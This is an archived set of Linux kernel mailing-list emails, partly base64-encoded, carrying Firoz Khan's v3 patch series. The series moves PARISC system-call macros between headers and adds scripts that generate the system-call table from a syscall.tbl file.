aWxlIHNvIHRoaXMgCmNoYW5nZSB3aWxsIHVuaWZ5IHRoZW0gYWNyb3NzIGFsbCBhcmNoaXRlY3R1
cmVzLgoKc3lzY2FsbC50YmwgY29udGFpbnMgdGhlIGxpc3Qgb2YgYXZhaWxhYmxlIHN5c3RlbSBj
YWxscyBhbG9uZyB3aXRoIApzeXN0ZW0gY2FsbCBudW1iZXIgYW5kIGNvcnJlc3BvbmRpbmcgZW50
cnkgcG9pbnQuIEFkZCBhIG5ldyBzeXN0ZW0gCmNhbGwgaW4gdGhpcyBhcmNoaXRlY3R1cmUgd2ls
bCBiZSBwb3NzaWJsZSBieSBhZGRpbmcgbmV3IGVudHJ5IGluIAp0aGUgc3lzY2FsbC50YmwgZmls
ZS4KCkFkZGluZyBhIG5ldyB0YWJsZSBlbnRyeSBjb25zaXN0aW5nIG9mOgogICAgICAgIC0gU3lz
dGVtIGNhbGwgbnVtYmVyLgogICAgICAgIC0gQUJJLgogICAgICAgIC0gU3lzdGVtIGNhbGwgbmFt
ZS4KICAgICAgICAtIEVudHJ5IHBvaW50IG5hbWUuCiAgICAgICAgLSBDb21wYXQgZW50cnkgbmFt
ZSwgaWYgcmVxdWlyZWQuCgpBUk0sIHMzOTAgYW5kIHg4NiBhcmNoaXRlY3V0dXJlIGRvZXMgZXhp
c3QgdGhlIHNpbWlsYXIgc3VwcG9ydC4gSSAKbGV2ZXJhZ2UgdGhlaXIgaW1wbGVtZW50YXRpb24g
dG8gY29tZSB1cCB3aXRoIGEgZ2VuZXJpYyBzb2x1dGlvbi4KCkkgaGF2ZSBkb25lIHRoZSBzYW1l
IHN1cHBvcnQgZm9yIHdvcmsgZm9yIGFscGhhLCBtaWNyb2JsYXplLCBzcGFyYywKbTY4aywgbWlw
cywgcG93ZXJwYywgc2gsIHNwYXJjLCBhbmQgeHRlbnNhLiBCdXQgSSBzdGFydGVkIHNlbmRpbmcg
CnRoZSBwYXRjaCBmb3Igb25lIGFyY2hpdGVjdXR1cmUgZm9yIHJldmlldy4gQmVsb3cgbWVudGlv
bmVkIGdpdApyZXBvc2l0b3J5IGNvbnRhaW5zIG1vcmUgZGV0YWlscy4KR2l0IHJlcG86LSBodHRw
czovL2dpdGh1Yi5jb20vZnJ6a2huL3N5c3RlbV9jYWxsX3RhYmxlX2dlbmVyYXRvci8KCkFkZGVk
IGFuIGlnbm9yZSBlbnRyeSBmb3IgbmZzc2VydmN0bCBpbiBzY3JpcHQvY2hlY2tzeXNjYWxscy5z
aC4KV2lyZWQgdXAgcnNlcSBzeXN0ZW0gY2FsbC4KCkZpbmFsbHksIHRoaXMgaXMgdGhlIGdyb3Vu
ZCB3b3JrIGZvciBzb2x2aW5nIHRoZSBZMjAzOCBpc3N1ZS4gV2UgCm5lZWQgdG8gYWRkL2NoYW5n
ZSB0d28gZG96ZW4gb2Ygc3lzdGVtIGNhbGxzIHRvIHNvbHZlIFkyMDM4IGlzc3VlLiAKU28gdGhp
cyBwYXRjaCBzZXJpZXMgd2lsbCBoZWxwIHRvIGVhc2lseSBtb2RpZnkgZnJvbSBleGlzdGluZyAK
c3lzdGVtIGNhbGwgdG8gWTIwMzggY29tcGF0aWJsZSBzeXN0ZW0gY2FsbHMuCgpGaXJveiBLaGFu
ICg2KToKICBwYXJpc2M6IG1vdmUgX19JR05PUkUqIGVudHJpZXMgdG8gbm9uIHVhcGkgaGVhZGVy
CiAgcGFyaXNjOiBhZGQgX19OUl9MaW51eF9zeXNjYWxscyBhbG9uZyB3aXRoIF9fTlJfc3lzY2Fs
bHMKICBwYXJpc2M6IGFkZCBzeXN0ZW0gY2FsbCB0YWJsZSBnZW5lcmF0aW9uIHN1cHBvcnQKICBw
YXJpc2M6IHVhcGkgaGVhZGVyIGFuZCBzeXN0ZW0gY2FsbCB0YWJsZSBmaWxlIGdlbmVyYXRpb24K
ICBwYXJpc2M6IHdpcmUgdXAgcnNlcSBzeXN0ZW0gY2FsbAogIHBhcmlzYzogc3lzY2FsbHM6IEln
bm9yZSBuZnNzZXJ2Y3RsIGZvciBvdGhlciBhcmNoaXRlY3R1cmVzCgogYXJjaC9wYXJpc2MvTWFr
ZWZpbGUgICAgICAgICAgICAgICAgICAgICAgfCAgIDQgKwogYXJjaC9wYXJpc2MvaW5jbHVkZS9h
c20vS2J1aWxkICAgICAgICAgICAgfCAgIDMgKwogYXJjaC9wYXJpc2MvaW5jbHVkZS9hc20vdW5p
c3RkLmggICAgICAgICAgfCAgIDggKwogYXJjaC9wYXJpc2MvaW5jbHVkZS91YXBpL2FzbS9LYnVp
bGQgICAgICAgfCAgIDIgKwogYXJjaC9wYXJpc2MvaW5jbHVkZS91YXBpL2FzbS91bmlzdGQuaCAg
ICAgfCAzODIgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogYXJjaC9wYXJpc2Mva2VybmVsL3N5
c2NhbGwuUyAgICAgICAgICAgICAgfCAgMTIgKy0KIGFyY2gvcGFyaXNjL2tlcm5lbC9zeXNjYWxs
X3RhYmxlLlMgICAgICAgIHwgNDU5IC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogYXJj
aC9wYXJpc2Mva2VybmVsL3N5c2NhbGxfdGFibGVfMzIuUyAgICAgfCAgMTMgKwogYXJjaC9wYXJp
c2Mva2VybmVsL3N5c2NhbGxfdGFibGVfNjQuUyAgICAgfCAgMjAgKysKIGFyY2gvcGFyaXNjL2tl
cm5lbC9zeXNjYWxscy9NYWtlZmlsZSAgICAgIHwgIDU1ICsrKysKIGFyY2gvcGFyaXNjL2tlcm5l
bC9zeXNjYWxscy9zeXNjYWxsLnRibCAgIHwgMzUzICsrKysrKysrKysrKysrKysrKysrKysrCiBh
cmNoL3BhcmlzYy9rZXJuZWwvc3lzY2FsbHMvc3lzY2FsbGhkci5zaCB8ICAzNSArKysKIGFyY2gv
cGFyaXNjL2tlcm5lbC9zeXNjYWxscy9zeXNjYWxsdGJsLnNoIHwgIDQxICsrKwogc2NyaXB0cy9j
aGVja3N5c2NhbGxzLnNoICAgICAgICAgICAgICAgICAgfCAgIDEgKwogMTQgZmlsZXMgY2hhbmdl
ZCwgNTQ1IGluc2VydGlvbnMoKyksIDg0MyBkZWxldGlvbnMoLSkKIGRlbGV0ZSBtb2RlIDEwMDY0
NCBhcmNoL3BhcmlzYy9rZXJuZWwvc3lzY2FsbF90YWJsZS5TCiBjcmVhdGUgbW9kZSAxMDA2NDQg
YXJjaC9wYXJpc2Mva2VybmVsL3N5c2NhbGxfdGFibGVfMzIuUwogY3JlYXRlIG1vZGUgMTAwNjQ0
IGFyY2gvcGFyaXNjL2tlcm5lbC9zeXNjYWxsX3RhYmxlXzY0LlMKIGNyZWF0ZSBtb2RlIDEwMDY0
NCBhcmNoL3BhcmlzYy9rZXJuZWwvc3lzY2FsbHMvTWFrZWZpbGUKIGNyZWF0ZSBtb2RlIDEwMDY0
NCBhcmNoL3BhcmlzYy9rZXJuZWwvc3lzY2FsbHMvc3lzY2FsbC50YmwKIGNyZWF0ZSBtb2RlIDEw
MDY0NCBhcmNoL3BhcmlzYy9rZXJuZWwvc3lzY2FsbHMvc3lzY2FsbGhkci5zaAogY3JlYXRlIG1v
ZGUgMTAwNjQ0IGFyY2gvcGFyaXNjL2tlcm5lbC9zeXNjYWxscy9zeXNjYWxsdGJsLnNoCgotLSAK
MS45LjEKCl9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fClky
MDM4IG1haWxpbmcgbGlzdApZMjAzOEBsaXN0cy5saW5hcm8ub3JnCmh0dHBzOi8vbGlzdHMubGlu
YXJvLm9yZy9tYWlsbWFuL2xpc3RpbmZvL3kyMDM4Cg==


From - Thu Nov 08 21:42:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 1/6] parisc: move __IGNORE* entries to non uapi header
Date: Mon,  8 Oct 2018 10:46:36 +0530
Lines: 58
Approved: news@gmane.org
Message-ID: <1538975801-13735-2-git-send-email-firoz.khan@linaro.org>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1538975727 9364 195.159.176.226 (8 Oct 2018 05:15:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 8 Oct 2018 05:15:27 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 08 07:15:21 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g9Nt2-0002I7-Qx
	for glk-linux-kernel-4@m.gmane.org; Mon, 08 Oct 2018 07:15:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726689AbeJHM1P (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 8 Oct 2018 08:27:15 -0400
Original-Received: from mail-pl1-f195.google.com ([209.85.214.195]:41874 "EHLO
        mail-pl1-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726582AbeJHM1O (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 8 Oct 2018 08:27:14 -0400
Original-Received: by mail-pl1-f195.google.com with SMTP id q17-v6so9497973plr.8
        for <linux-kernel@vger.kernel.org>; Sun, 07 Oct 2018 22:17:23 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=eVc4Im/tlNb/+Q87+YSUnQ6E1heQGbWRIcznReQrtGM=;
        b=KyBfxHnFkcRqSuq3BEX40+PmIgpZ/JjKXlH83WSrXXlI2/lbIil6yptjcfZGHxPk4X
         Bcuk7uco7PexeEHh4bY9PGDq4DlvwL/Cp7wfsd1dD31dmvPsppH8i1r+foQYmlaWc0mP
         WtcnfAFlgDDZpLJWFCsgMTGZEb6iDPuUJGpZ8=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=eVc4Im/tlNb/+Q87+YSUnQ6E1heQGbWRIcznReQrtGM=;
        b=EFjIeIsBp8oBkaGl+yN8fAC5XmkJ7dqDfkhyrKX7VRWw+hS6e2VGMfdPgeKq35GT6p
         DvJpETs13FqIc8D8mX1Os5G5Jlw0vLM1aLn9+rfcgTYOvmQRUGMNl8A54UBUe2JSX55Y
         dh9M5G/ABkhoz3SxzHwB2KhpU6+fUWKte2msDEt6Ct9VYyo0nWhroduYvlkjvFJM/HFL
         ZSd2Jp7vD0H91dPx9VjtIyjYFTITNfC8v970b3evmWfwGO4XG5KQLW3jVuEiZxegqt4u
         rkQeJat4vm8xtvOAISu/o+QTA3+/MH8rBj42udJdsRaxwJG/1Qor/KSVLErNitnyZ+Zh
         swJg==
X-Gm-Message-State: ABuFfohg05HHp9pmLyfAxuV8eFEbvLnK9P9S6LRXakM3j8fLCAS5pkOP
        n4pr/u8gRaf/Lh500XVmSvLuug==
X-Google-Smtp-Source: ACcGV63HwWee89JOu/tQMZC0DT1DTgLKCbbcBV+UNp9noWbIJ+pOv3yc/u8rU+hSghWQZVSi4zsbSw==
X-Received: by 2002:a17:902:7002:: with SMTP id y2-v6mr23242483plk.125.1538975843597;
        Sun, 07 Oct 2018 22:17:23 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.qualcomm.com (blr-bdr-fw-01_globalnat_allzones-outside.qualcomm.com. [103.229.18.19])
        by smtp.gmail.com with ESMTPSA id j19-v6sm1875919pfi.137.2018.10.07.22.17.18
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Sun, 07 Oct 2018 22:17:23 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2892277 gmane.linux.ports.parisc:29090 gmane.linux.kernel.year-2038:3452 gmane.linux.kernel.cross-arch:47480
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2892277>

All the __IGNORE* entries are resides in the uapi header
file move to non uapi header asm/unistd.h. Basically it
is not used by any user space applications.

It is correct to keep __IGNORE* entry in non uapi header
asm/unistd.h while uapi/asm/unistd.h must hold information
only useful for user space applications.

One of the patch in this patch series will generate uapi
headers that should present in the uapi header file. And
some of the information which directly used by the user
space application also need to be present in uapi file.

Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
---
 arch/parisc/include/asm/unistd.h      | 6 ++++++
 arch/parisc/include/uapi/asm/unistd.h | 7 -------
 2 files changed, 6 insertions(+), 7 deletions(-)

diff --git a/arch/parisc/include/asm/unistd.h b/arch/parisc/include/asm/unistd.h
index 3d507d0..93fd9f6 100644
--- a/arch/parisc/include/asm/unistd.h
+++ b/arch/parisc/include/asm/unistd.h
@@ -8,6 +8,12 @@
 
 #define SYS_ify(syscall_name)   __NR_##syscall_name
 
+#define __IGNORE_select                /* newselect */
+#define __IGNORE_fadvise64             /* fadvise64_64 */
+#define __IGNORE_pkey_mprotect
+#define __IGNORE_pkey_alloc
+#define __IGNORE_pkey_free
+
 #ifndef ASM_LINE_SEP
 # define ASM_LINE_SEP ;
 #endif
diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index dc77c5a..bb52e12 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -368,13 +368,6 @@
 
 #define __NR_Linux_syscalls	(__NR_io_pgetevents + 1)
 
-
-#define __IGNORE_select		/* newselect */
-#define __IGNORE_fadvise64	/* fadvise64_64 */
-#define __IGNORE_pkey_mprotect
-#define __IGNORE_pkey_alloc
-#define __IGNORE_pkey_free
-
 #define LINUX_GATEWAY_ADDR      0x100
 
 #endif /* _UAPI_ASM_PARISC_UNISTD_H_ */
-- 
1.9.1



From - Thu Nov 08 21:42:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 2/6] parisc: add __NR_Linux_syscalls along with __NR_syscalls
Date: Mon,  8 Oct 2018 10:46:37 +0530
Lines: 68
Approved: news@gmane.org
Message-ID: <1538975801-13735-3-git-send-email-firoz.khan@linaro.org>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1538975727 9381 195.159.176.226 (8 Oct 2018 05:15:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 8 Oct 2018 05:15:27 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 08 07:15:22 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g9Nt3-0002I7-Kb
	for glk-linux-kernel-4@m.gmane.org; Mon, 08 Oct 2018 07:15:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726734AbeJHM1U (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 8 Oct 2018 08:27:20 -0400
Original-Received: from mail-pf1-f196.google.com ([209.85.210.196]:35246 "EHLO
        mail-pf1-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726695AbeJHM1T (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 8 Oct 2018 08:27:19 -0400
Original-Received: by mail-pf1-f196.google.com with SMTP id l17-v6so3413355pff.2
        for <linux-kernel@vger.kernel.org>; Sun, 07 Oct 2018 22:17:28 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=FAowNU2Le7w5YJvjpIycOrYvvQJDBUjpEbsXPhhb+kM=;
        b=hGlNJsOwHYESLLQiLtBWEm5vORLZrkyzqmoz/cGiVOeLg1DNwx46CFd6KApULQEuYT
         nu7G/gDJ4LdbvInsR+iZ5EfIhyFFpCske3ClTjbLVVNfKK3Jr+NN9Gx0NEEs+rIPQlOE
         ZuR91PPPzS+yalnvfjEHolhqTQ+9Cu4Q0MZ5Y=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=FAowNU2Le7w5YJvjpIycOrYvvQJDBUjpEbsXPhhb+kM=;
        b=VV2VcbU8EQ87yNLjmAZOnlG2msLjMr8Ff5mYTUnD0n36TjshNaR54CV+oxFQiY2NkP
         Qva65JC9yktXR7dfADSWHe5A4mCkuFrCDCjYPaS0OpWLcPRRAnfvJELEEAJaOaM2/3cV
         /5/n5Na96oWMJCZKnBjFSYz1PHgmLH7vPMhcb/Ajzwk5n/hDDMaI9Ub6oQ3e2Z9lBBuy
         APZAkLCMbpKRz1pKuOPy2pXAk2FHlnxWCG26gaWDhCzri7BzIsnNNF4XThyHL5x0FOrZ
         JOjZjNILz/4ZDjuuqwCnvGIlJfsHVcHvU6sW7MOeNDpEZbtriPVOMwZ3k+kDaXa2qknm
         RYUQ==
X-Gm-Message-State: ABuFfojqmmPT3GjF+zpNGRwftkMO7jeyp6A48ja2/Kfrp9kntJBBfujv
        RMMIp87Ia53/UFPe0r1SentbrQ==
X-Google-Smtp-Source: ACcGV63h92On9iSxabx6KD1l5bfzvq9yxie8gdrxcV6US30NtyMS24i7hbL/8x8V+ByPsdDNoGm/Vw==
X-Received: by 2002:a62:dd01:: with SMTP id w1-v6mr23280159pff.129.1538975848545;
        Sun, 07 Oct 2018 22:17:28 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.qualcomm.com (blr-bdr-fw-01_globalnat_allzones-outside.qualcomm.com. [103.229.18.19])
        by smtp.gmail.com with ESMTPSA id j19-v6sm1875919pfi.137.2018.10.07.22.17.23
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Sun, 07 Oct 2018 22:17:28 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2892278 gmane.linux.ports.parisc:29091 gmane.linux.kernel.year-2038:3453 gmane.linux.kernel.cross-arch:47481
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2892278>

__NR_Linux_syscalls macro holds the number of system call
exist in PARISC architecture. This macro is currently the
part of uapi/asm/unistd.h file. We have to change the value
of __NR_Linux_syscalls, if we add or delete a system call.

One of the patch in this patch series has a script which
will generate a uapi header based on syscall.tbl file. The
syscall.tbl file contains the number of system call inform-
ation. So we have two option to update __NR_Linux_syscalls
value.

1. Update __NR_Linux_syscalls in uapi/asm/unistd.h manually
   by counting the no.of system calls. No need to update
   __NR_Linux_syscalls until we either add a new system call
   or delete an existing system call.

2. We can keep this feature it above mentioned script, that
   will count the number of syscalls and keep it in a gener-
   ated file. In this case we don't need to explicitly update
   __NR_Linux_syscalls in asm/unistd.h file.

The 2nd option will be the recommended one. For that, I moved
the __NR_Linux_syscalls macro from uapi/asm/unistd.h to asm/
unistd.h. The macro __NR_syscalls also added for making the
name convention same across all architecture. While __NR_sys-
calls isn't strictly part of the uapi, having it as part of
the generated header to simplifies the implementation. We also
need to enclose this macro with #ifdef __KERNEL__ to avoid
side effects.

Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
---
 arch/parisc/include/asm/unistd.h      | 2 ++
 arch/parisc/include/uapi/asm/unistd.h | 4 +++-
 2 files changed, 5 insertions(+), 1 deletion(-)

diff --git a/arch/parisc/include/asm/unistd.h b/arch/parisc/include/asm/unistd.h
index 93fd9f6..d30fdbcb 100644
--- a/arch/parisc/include/asm/unistd.h
+++ b/arch/parisc/include/asm/unistd.h
@@ -4,6 +4,8 @@
 
 #include <uapi/asm/unistd.h>
 
+#define __NR_Linux_syscalls     __NR_syscalls
+
 #ifndef __ASSEMBLY__
 
 #define SYS_ify(syscall_name)   __NR_##syscall_name
diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index bb52e12..f10d065 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -366,7 +366,9 @@
 #define __NR_statx		(__NR_Linux + 349)
 #define __NR_io_pgetevents	(__NR_Linux + 350)
 
-#define __NR_Linux_syscalls	(__NR_io_pgetevents + 1)
+#ifdef __KERNEL__
+#define __NR_syscalls           351
+#endif
 
 #define LINUX_GATEWAY_ADDR      0x100
 
-- 
1.9.1



From - Thu Nov 08 21:42:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 3/6] parisc: add system call table generation support
Date: Mon,  8 Oct 2018 10:46:38 +0530
Lines: 560
Approved: news@gmane.org
Message-ID: <1538975801-13735-4-git-send-email-firoz.khan@linaro.org>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1538975734 9826 195.159.176.226 (8 Oct 2018 05:15:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 8 Oct 2018 05:15:34 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Oct 08 07:15:29 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g9Nt9-0002RF-Om
	for glk-linux-kernel-4@m.gmane.org; Mon, 08 Oct 2018 07:15:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726691AbeJHM10 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 8 Oct 2018 08:27:26 -0400
Original-Received: from mail-pf1-f193.google.com ([209.85.210.193]:35251 "EHLO
        mail-pf1-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726699AbeJHM10 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 8 Oct 2018 08:27:26 -0400
Original-Received: by mail-pf1-f193.google.com with SMTP id l17-v6so3413444pff.2
        for <linux-kernel@vger.kernel.org>; Sun, 07 Oct 2018 22:17:34 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=KyM8NPbpZMuDA4iEgjZX6XDc+Dy6M4iseochLM3Ag6k=;
        b=fn6BzA7lsNFrCdzXDLdhy+e3Tx/uiBgHsnSLdLJZN2MuCUN8/srQG/MbjpH8IUppCi
         ADqwIYNmIzTtZ7DunTAFHCpEzukfBh/KklETWgU3xUDSYmIOJZCB7d7LOkfFDcxTi77S
         O+5/18sQ5Rlwx7S8ASRSo9lqlUNv4ivI2Ov3g=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=KyM8NPbpZMuDA4iEgjZX6XDc+Dy6M4iseochLM3Ag6k=;
        b=mvi4JA/DTQgIE8aVHD6YocjbgCVCrocJwamAXjI9zmTF2mYfF7eZ3OoDOW8v79z52q
         6i7aqDhxJ27H/hrIzErqipYpqNVDPdLwJoMZoNm/kcHmgZmiuxoXuB6GHn/SxaskdwDr
         w/en3Xuq88QHME2wi/xxRJODhS9wVO+cVBfW1myIaIvdzvqVinDtM8Dx1as2m4dwGcHI
         PTJ3wLeT8lp/TqWLDxkrJEWnmwifKXeURovLM+pCfWlDTW6AOrXTDJMn/JMPHxC6b5kb
         P2HAjTXObVbyjpYJtoDktAbnzhtaEPb8z8ElviJdCeOqMYmWNcBIju/rh8865ilWQzky
         D7xg==
X-Gm-Message-State: ABuFfoio81qyZkidf4xiKcRUev7aQXmJTGYLqYvSF/pJOw5xIz4wN3Kl
        SWkJZJdoYyXDFxZm9CMT4aTxng==
X-Google-Smtp-Source: ACcGV61uUkOMHWwKzACm9oCgdk1kgQr52XiGPIHYPidRHACL6RLMH6hh4IYs27JQb2a+Jd5x0Sh9Jw==
X-Received: by 2002:a62:1112:: with SMTP id z18-v6mr23643522pfi.200.1538975853724;
        Sun, 07 Oct 2018 22:17:33 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.qualcomm.com (blr-bdr-fw-01_globalnat_allzones-outside.qualcomm.com. [103.229.18.19])
        by smtp.gmail.com with ESMTPSA id j19-v6sm1875919pfi.137.2018.10.07.22.17.28
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Sun, 07 Oct 2018 22:17:33 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2892279 gmane.linux.ports.parisc:29092 gmane.linux.kernel.year-2038:3454 gmane.linux.kernel.cross-arch:47482
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2892279>

The system call tables are in different format in all
architecture and it will be difficult to manually add or
modify the system calls in the respective files. To make
it easy by keeping a script and which'll generate the
header file and syscall table file so this change will
unify them across all architectures.

The system call table generation script is added in
syscalls directory which contain the script to generate
both uapi header file system call table generation file
and syscall.tbl file which'll be the input for the
scripts.

syscall.tbl contains the list of available system calls
along with system call number and corresponding entry point.
Add a new system call in this architecture will be possible
by adding new entry in the syscall.tbl file.

Adding a new table entry consisting of:
        - System call number.
        - ABI.
        - System call name.
        - Entry point name.
	- Compat entry name, if required.

syscallhdr.sh and syscalltbl.sh will generate uapi header-
unistd_32/64.h and syscall_table_32/64/c32.h files respect-
ively. File syscall_table_32/64/c32.h is included by sys-
call.S - the real system call table. Both .sh files will
parse the content syscall.tbl to generate the header and
table files.

ARM, s390 and x86 architecuture does have the similar support.
I leverage their implementation to come up with a generic
solution.

